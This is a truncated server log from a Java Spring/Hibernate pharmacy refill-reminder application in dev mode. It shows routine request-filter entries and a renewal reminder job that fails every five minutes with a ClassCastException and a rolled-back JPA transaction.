SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 00:08:24 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:08:24 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 00:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at 